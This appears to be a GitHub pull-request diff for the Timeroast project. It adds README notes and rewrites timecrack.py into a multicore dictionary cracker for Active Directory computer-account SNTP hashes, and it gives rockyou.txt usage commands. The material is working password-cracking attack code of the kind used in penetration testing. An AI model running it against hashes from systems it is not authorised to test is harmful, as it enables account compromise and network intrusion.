Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 44 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ Computer spraying and Kerberoasting can easily be carried out with existing tool

- `extra-scripts/kirbi_to_hashcat.py`: converts a Kerberos ticket (referal/trust, service, ticket-granting, etc.) that is encoded as a base64 KRB_CRED structure into Hashcat format. Hash types 13100, 19600, 19700 (i.e. RC-4 and AES tickets) are supported.

---

Credits
-------
Expand All @@ -51,3 +52,46 @@ The attack and original script were developed by Tom Tervoort of Secura BV.
The Powershell port was contributed by [Jacopo Scannella](https://github.com/antipatico).

Special thanks to [Garret Foster](https://www.optiv.com/blog/author/garrett-foster) for pointing out that Timeroasting can also be used to obtain trust account hashes.

---

### 🔧 Enhancements by B4l3rI0n

Several improvements were made to `extra-scripts/timecrack.py` to significantly improve usability and performance:

#### ✅ UnicodeDecodeError Fix for rockyou.txt

The original script crashed when using non-UTF-8 encoded dictionaries such as `rockyou.txt`.
I fixed this by opening the dictionary file using the `latin-1` encoding to support special characters:

```python
open('rockyou.txt', 'r', encoding='latin-1')
```

#### 🚀 Performance Optimization: Multicore Cracking

The original `timecrack.py` used a naive nested loop, which was very slow for large wordlists.
I rewrote the script to use **Python’s multiprocessing module**, utilizing all available CPU cores to crack hashes in parallel. This dramatically increases performance, especially with large lists like `rockyou.txt`.

Key features:

* Parallel cracking of each hash using `multiprocessing.Pool`
* Automatically uses all available cores (`--workers` flag customizable)
* Automatically skips to the next hash once a password match is found

Usage:

```bash
python3 timecrack.py hashes.txt /usr/share/wordlists/rockyou.txt
```

Or customize CPU cores:

```bash
python3 timecrack.py hashes.txt /usr/share/wordlists/rockyou.txt --workers 8
```
![image](https://github.com/user-attachments/assets/fbb58163-61db-4e32-9d23-8c8b3cec5b45)

#### 🧠 Author of Optimizations:

Contributed by [B4l3rI0n](https://github.com/B4l3rI0n)
114 changes: 57 additions & 57 deletions extra-scripts/timecrack.py
Original file line number Diff line number Diff line change
@@ -1,73 +1,73 @@
#!/usr/bin/env python3

"""Perform a simple dictionary attack against the output of timeroast.py. Neccessary because the NTP 'hash' format
unfortunately does not fit into Hashcat or John right now.

Not even remotely optimized, but still useful for cracking legacy default passwords (where the password is the computer
name) or specific default passwords that are popular in an organisation.
"""

from binascii import hexlify, unhexlify
from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter
from typing import TextIO, Generator, Tuple
import hashlib, sys, re
from binascii import unhexlify
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from multiprocessing import Pool, cpu_count
import hashlib, re, sys

HASH_FORMAT = r'^(?P<rid>\d+):\$sntp-ms\$(?P<hashval>[0-9a-f]{32})\$(?P<salt>[0-9a-f]{96})$'

def md4(data : bytes) -> bytes:
try:
return hashlib.new('md4', data).digest()
except ValueError:
# Use pure-Python implementation by James Seo in case local OpenSSL does not support MD4.
from md4 import MD4
return MD4(data).bytes()
def md4(data: bytes) -> bytes:
try:
return hashlib.new('md4', data).digest()
except ValueError:
from md4 import MD4
return MD4(data).bytes()

def compute_hash(password : str, salt : bytes) -> bytes:
"""Compute a legacy NTP authenticator 'hash'."""
return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest()

def compute_hash(password: str, salt: bytes) -> bytes:
return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest()

def crack_one(args):
rid, hashval, salt, password = args
if compute_hash(password, salt) == hashval:
return (rid, password)
return None

def try_crack(hashfile : TextIO, dictfile : TextIO) -> Generator[Tuple[int, str], None, None]:
# Try each dictionary entry for each hash. dictfile is read iteratively while hashes are stored in RAM.
hashes = []
for line in hashfile:
line = line.strip()
if line:
m = re.match(HASH_FORMAT, line)
if not m:
print(f'ERROR: invalid hash format: {line}', file=sys.stderr)
sys.exit(1)
rid, hashval, salt = m.group('rid', 'hashval', 'salt')
hashes.append((int(rid), unhexlify(hashval), unhexlify(salt)))


for password in dictfile:
password = password.strip()
for rid, hashval, salt in hashes:
if compute_hash(password, salt) == hashval:
yield rid, password
def load_hashes(hashfile):
hashes = []
for line in open(hashfile, 'r'):
line = line.strip()
if line:
m = re.match(HASH_FORMAT, line)
if not m:
print(f'[!] Invalid hash format: {line}', file=sys.stderr)
sys.exit(1)
rid, hashval, salt = m.group('rid', 'hashval', 'salt')
hashes.append((int(rid), unhexlify(hashval), unhexlify(salt)))
return hashes

def main():
argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
"""Perform a simple dictionary attack against the output of timeroast.py.
argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=
"""Multicore-optimized Timeroast cracker.

Not even remotely optimized, but still useful for cracking legacy default
passwords (where the password is the computer name) or specific default
passwords that are popular in an organisation.
Uses multiprocessing to crack legacy SNTP hashes faster by utilizing all CPU cores.
""")
argparser.add_argument('hashes', help='File with hashes from timeroast.py')
argparser.add_argument('dictionary', help='Line-delimited password dictionary (rockyou.txt etc.)')
argparser.add_argument('--workers', type=int, default=cpu_count(), help='Number of CPU cores to use')
args = argparser.parse_args()

argparser.add_argument('hashes', type=FileType('r'), help='Output of timeroast.py')
argparser.add_argument('dictionary', type=FileType('r'), help='Line-delimited password dictionary')
args = argparser.parse_args()
hashes = load_hashes(args.hashes)
wordlist = open(args.dictionary, 'r', encoding='latin-1', errors='ignore').read().splitlines()

crackcount = 0
found = []

crackcount = 0
for rid, password in try_crack(args.hashes, args.dictionary):
print(f'[+] Cracked RID {rid} password: {password}')
crackcount += 1
with Pool(args.workers) as pool:
for rid, hashval, salt in hashes:
print(f'[+] Cracking RID {rid}...')
jobs = ((rid, hashval, salt, pwd) for pwd in wordlist)
for result in pool.imap_unordered(crack_one, jobs, chunksize=500):
if result:
crackcount += 1
found.append(result)
print(f'[✓] Cracked RID {result[0]}: {result[1]}')
break # Stop after first match for that hash

print(f'\n{crackcount} passwords recovered.')
print(f'\n[+] Done. {crackcount} password(s) cracked:')
for rid, password in found:
print(f' RID {rid}: {password}')

if __name__ == '__main__':
main()


main()